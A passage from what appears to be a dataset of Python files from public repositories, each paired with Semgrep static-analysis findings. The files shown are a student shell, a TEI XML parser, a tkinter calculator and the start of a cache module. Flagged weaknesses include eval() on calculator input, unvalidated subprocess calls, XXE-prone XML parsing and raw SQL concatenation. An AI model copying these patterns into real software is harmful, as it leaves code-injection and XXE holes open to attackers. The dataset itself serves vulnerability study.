null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpr7mo7ysm/b348dc010b01323a.py", "start": {"line": 56, "col": 20, "offset": 1635}, "end": {"line": 56, "col": 50, "offset": 1665}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_b348dc010b01323a_2c21dfae", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(value['csv_url'], timeout=30)", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 20, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpr7mo7ysm/b348dc010b01323a.py", "start": {"line": 56, "col": 20, "offset": 1635}, "end": {"line": 56, "col": 50, "offset": 1665}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(value['csv_url'], timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b348dc010b01323a_a9a8d863", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 18, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/b348dc010b01323a.py", "start": {"line": 70, "col": 18, "offset": 2419}, "end": {"line": 70, "col": 56, "offset": 2457}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
34
] | [
34
] | [
13
] | [
41
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | daily_holdings_download.py | /daily_holdings_download.py | rohitapte/ark-holdings | MIT | |
2024-11-18T20:18:34.240064+00:00 | 1,588,018,194,000 | d26d53598763d44cbf2f434a1605e9d0108eb089 | 3 | {
"blob_id": "d26d53598763d44cbf2f434a1605e9d0108eb089",
"branch_name": "refs/heads/master",
"committer_date": 1588018194000,
"content_id": "e0fd483a6467c2857e5cbfdaf52a914ba73029fb",
"detected_licenses": [
"MIT"
],
"directory_id": "2344bfb923a944552374f7e52843857684abd839",
"extension": "py",
"filename": "shell.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2810,
"license": "MIT",
"license_type": "permissive",
"path": "/shell.py",
"provenance": "stack-edu-0054.json.gz:578203",
"repo_name": "maarnold-they/cs-321-python-shell",
"revision_date": 1588018194000,
"revision_id": "59fa8562df4349eecc6ba1b1a8067a508b573dc5",
"snapshot_id": "3b5495f7b2804b7297e662995de80416bf628f75",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/maarnold-they/cs-321-python-shell/59fa8562df4349eecc6ba1b1a8067a508b573dc5/shell.py",
"visit_date": "2022-07-10T03:03:20.062295"
} | 2.796875 | stackv2 | import os
import curses
from curses import wrapper
import subprocess
from pathlib import Path
import sys
def exec_cmd(command,scr):
if "|" in command:
# make copies of stdin and stdout in order to restore them later
sys.stdout = os.fdopen(sys.stdout.fileno(),'w',0)
s_in, s_out = (0, 0)
s_in = os.dup(0)
s_out = os.dup(1)
# first command takes input from stdin
fd_in = os.dup(s_in)
# iterate over all piped commands
for cmd in command.split("|"):
# fd_in is the readable end of the pipe/stdin
os.dup2(fd_in, 0)
os.close(fd_in)
# if (last command) restore stdout
if cmd == command.split("|")[-1]:
fd_out = os.dup(s_out)
else:
# redirect stdout to pipe
fd_in, fd_out = os.pipe()
os.dup2(fd_out, 1)
os.close(fd_out)
#run each command by calling self
exec_cmd(' '.join(map(str,cmd.strip().split())),scr)
# restore stdout and stdin
os.dup2(s_in, 0)
os.dup2(s_out, 1)
os.close(s_in)
os.close(s_out)
else:
#run command
f_out = open('output.txt','w')
try:
subprocess.run(command.split(" "),stdout=f_out)
except Exception:
scr.addstr("!pipe shell: command not found: {}".format(command))
f_out.close
def shell_cd(req_path,scr):
safe_dir = Path('/home/')
common = os.path.commonpath([os.path.realpath(req_path), safe_dir])
if os.path.normpath(common) != os.path.normpath(safe_dir):
scr.addstr("You have tried to escape!\n")
return
try:
os.chdir(os.path.abspath(req_path))
except Exception:
scr.addstr("shell: cd: no such file or directory: {}\n".format(req_path))
def shell_help(scr):
scr.addstr("This is my shell written in python for my Operating Systems class. It should run most commands\n")
def main(scr):
while True:
scr.addch('[')
scr.addstr(os.getcwd())
scr.addstr(']$ ')
line = ""
while True:
c = scr.getch()
if c <= 126 and c >= 32:
line += chr(c)
scr.addch(c)
elif c == 127:
line = line[:-1]
y,x=scr.getyx()
scr.move(y,x-1)
scr.delch()
elif c == 10:
break
elif c == curses.KEY_UP:
return
scr.addch('\n')
if line == "exit":
return
elif line[:3] == "cd ":
shell_cd(line[3:],scr)
elif line == "help":
shell_help(scr)
else:
exec_cmd(line,scr)
if '__main__' == __name__:
wrapper(main)
| 87 | 31.3 | 114 | 19 | 690 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_b9f29833c2bcd5e7_f26ade0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 9, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpr7mo7ysm/b9f29833c2bcd5e7.py", "start": {"line": 39, "col": 9, "offset": 1213}, "end": {"line": 39, "col": 39, "offset": 1243}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b9f29833c2bcd5e7_8cbe3856", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 17, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/b9f29833c2bcd5e7.py", "start": {"line": 39, "col": 17, "offset": 1221}, "end": {"line": 39, "col": 39, "offset": 1243}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_b9f29833c2bcd5e7_2c49eba7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 13, "column_end": 60, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/b9f29833c2bcd5e7.py", "start": {"line": 41, "col": 13, "offset": 1269}, "end": {"line": 41, "col": 60, "offset": 1316}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
41
] | [
41
] | [
13
] | [
60
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | shell.py | /shell.py | maarnold-they/cs-321-python-shell | MIT | |
2024-11-18T20:18:36.054537+00:00 | 1,459,880,833,000 | e8d9951d3619856c50ea5f6f29e83019622421dd | 2 | {
"blob_id": "e8d9951d3619856c50ea5f6f29e83019622421dd",
"branch_name": "refs/heads/master",
"committer_date": 1459880833000,
"content_id": "8e57c30a0c965995c21f6a8380214b2cba6bf356",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "75880e9dc1872b95f21e61ba63c9bf8d4e11eaca",
"extension": "py",
"filename": "tei_xml_parser.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 55254355,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2186,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/q5/tei_xml_parser.py",
"provenance": "stack-edu-0054.json.gz:578224",
"repo_name": "jdramani/599-2",
"revision_date": 1459880833000,
"revision_id": "bfce1fa83e8614bbbb86a3c70b349c40cf58bf75",
"snapshot_id": "28bff7de69a48b9a81b78a323c50af7ecabcb2ea",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jdramani/599-2/bfce1fa83e8614bbbb86a3c70b349c40cf58bf75/q5/tei_xml_parser.py",
"visit_date": "2021-01-10T08:57:59.189006"
} | 2.421875 | stackv2 | from xml.dom.minidom import parse
import xml.dom.minidom
import os
import json
import codecs
## This scirpt parses every .tei.xml file
## TEI annotations data file
outputfile_path = "/home/jaydeep/599hw2/tei_json"
list_of_authors = "/home/jaydeep/599hw2/list_of_authors"
tei_file_dir = "/media/jaydeep/mySpace/spring2016/599/out/"
#tei_file_dir = "/home/jaydeep/src/grobid/out/"
feed = []
f1 = codecs.open(list_of_authors,"a",encoding='utf8')
with open(outputfile_path, 'w') as feedsjson:
for i in os.listdir(tei_file_dir):
# Open XML document using minidom parser
if i.endswith(".tei.xml"):
DOMTree = xml.dom.minidom.parse(tei_file_dir+''+i)
collection = DOMTree.documentElement
entry = {"authors":[],"publication_year":"","Affiliations":[],"title":""}
# Get all the movies in the collection
analytics = collection.getElementsByTagName("analytic")
analytic = analytics[0]
authors = analytic.getElementsByTagName("author")
if len(authors) != 0:
for author in authors:
if len(author.getElementsByTagName("forename")) != 0:
firstname = author.getElementsByTagName("forename")[0].childNodes[0].data
if len(author.getElementsByTagName("surname")) != 0:
lastname = author.getElementsByTagName("surname")[0].childNodes[0].data
afflen = author.getElementsByTagName("orgName")
affiliation = ''
if len(afflen) != 0:
for i in range(0,len(afflen)):
affiliation = affiliation + ',' +author.getElementsByTagName("orgName")[i].childNodes[0].data
name = firstname + " " + lastname
entry["authors"].append(name)
f1.write(name + "\n")
entry["Affiliations"].append(affiliation.lstrip(","))
if len(analytic.getElementsByTagName("title")) != 0:
topic = analytic.getElementsByTagName("title")[0].childNodes[0].data
entry["title"] = topic
imprints = analytic.getElementsByTagName("imprint")
if len(imprints) != 0:
imprint = imprints[0]
dates = imprint.getElementsByTagName("date")
if len(dates) != 0:
date = dates[0].getAttribute("when")
entry["publication_year"] = date
feed.append(entry)
json.dump(feed,feedsjson)
f1.close()
| 69 | 30.68 | 100 | 26 | 584 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c4f4df6f339d5776_ad117a52", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 1, "line_end": 1, "column_start": 1, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpr7mo7ysm/c4f4df6f339d5776.py", "start": {"line": 1, "col": 1, "offset": 0}, "end": {"line": 1, "col": 34, "offset": 33}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c4f4df6f339d5776_49f6d448", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpr7mo7ysm/c4f4df6f339d5776.py", "start": {"line": 2, "col": 1, "offset": 34}, "end": {"line": 2, "col": 23, "offset": 56}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_c4f4df6f339d5776_f0b750de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 6, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/c4f4df6f339d5776.py", "start": {"line": 19, "col": 6, "offset": 453}, "end": {"line": 19, "col": 32, "offset": 479}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
1,
2
] | [
1,
2
] | [
1,
1
] | [
34,
23
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The Python documentation recommends using `defusedxml` ins... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | tei_xml_parser.py | /q5/tei_xml_parser.py | jdramani/599-2 | Apache-2.0 | |
2024-11-18T20:18:36.799793+00:00 | 1,604,520,926,000 | dcf5a01cc4846f777c893aafc3b91fc1dc1a40b4 | 3 | {
"blob_id": "dcf5a01cc4846f777c893aafc3b91fc1dc1a40b4",
"branch_name": "refs/heads/main",
"committer_date": 1604520926000,
"content_id": "688799652e1dc08ad6c59af53c784eab14451007",
"detected_licenses": [
"MIT"
],
"directory_id": "8a2d56dfedc7785ee2dde4203eea28e04989e993",
"extension": "py",
"filename": "functions.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 307807911,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1181,
"license": "MIT",
"license_type": "permissive",
"path": "/functions.py",
"provenance": "stack-edu-0054.json.gz:578233",
"repo_name": "heEXDe/calculator_tkinterGUI",
"revision_date": 1604520926000,
"revision_id": "8304afdd7a1208d7f7b832d956658f1665437362",
"snapshot_id": "c547f4687ca422d5f92ce4e19e9bd90f04363b9a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/heEXDe/calculator_tkinterGUI/8304afdd7a1208d7f7b832d956658f1665437362/functions.py",
"visit_date": "2023-01-08T11:14:36.551216"
} | 3.046875 | stackv2 | from tkinter import *
import GUI
from math import log as log
from math import sqrt as sqrt
from math import sin as sin
from math import cos as cos
def inp_to_txtb(number_or_sign):
GUI.txtBox.config(state=NORMAL)
GUI.txtBox.insert(END, str(number_or_sign))
GUI.txtBox.config(state=DISABLED)
def equal():
try:
equation = GUI.txtBox.get('1.0', 'end-1c')
result = eval(equation)
GUI.txtBox.config(state=NORMAL)
GUI.txtBox.insert(END, "\n" + '= ' + str(result))
GUI.txtBox.config(state=DISABLED)
except:
GUI.txtBox.config(state=NORMAL)
GUI.txtBox.insert(END, "\n" + "error")
GUI.txtBox.config(state=DISABLED)
def clean():
GUI.txtBox.config(state=NORMAL)
GUI.txtBox.delete('1.0', END)
GUI.txtBox.config(state=DISABLED)
def backspace():
try:
s_str = GUI.txtBox.get('1.0', 'end-1c')
res_str = ''.join([s_str[i] for i in range(len(s_str)) if i != len(s_str) - 1])
GUI.txtBox.config(state=NORMAL)
GUI.txtBox.delete('1.0', END)
GUI.txtBox.insert(END, str(res_str))
GUI.txtBox.config(state=DISABLED)
except:
print('error!')
| 44 | 25.84 | 87 | 16 | 319 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_77cf15f99671612d_9d9409a8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 18, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpr7mo7ysm/77cf15f99671612d.py", "start": {"line": 18, "col": 18, "offset": 396}, "end": {"line": 18, "col": 32, "offset": 410}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
18
] | [
18
] | [
18
] | [
32
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | functions.py | /functions.py | heEXDe/calculator_tkinterGUI | MIT | |
2024-11-18T20:18:43.905377+00:00 | 1,547,639,682,000 | 2b7f674d9591a3efaa0a5e0ac0a48e765541d53c | 2 | {
"blob_id": "2b7f674d9591a3efaa0a5e0ac0a48e765541d53c",
"branch_name": "refs/heads/master",
"committer_date": 1547639682000,
"content_id": "d7b35a9e666a77776d7e7bbee895ea27f40bc6ab",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "e8f002107f1bcc6fc457ca9326605338fe35e0a9",
"extension": "py",
"filename": "cache.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 153325286,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7602,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/google-drive/cache.py",
"provenance": "stack-edu-0054.json.gz:578297",
"repo_name": "serverboards/serverboards-plugins-oss",
"revision_date": 1547639682000,
"revision_id": "85d666594eeeb195c68e98f26a5687b4453a51b8",
"snapshot_id": "790194a25fd0ace622a186f88c1b3c5f81dfccbd",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/serverboards/serverboards-plugins-oss/85d666594eeeb195c68e98f26a5687b4453a51b8/google-drive/cache.py",
"visit_date": "2020-04-01T15:10:35.232667"
} | 2.484375 | stackv2 | #!env/bin/python3
import sys
import time
import sqlite3
import os
import json
import hashlib
def default_hash(name, args, kwargs):
hs = hashlib.sha1(
('%s--%s'% (
'-'.join(str(x) for x in args),
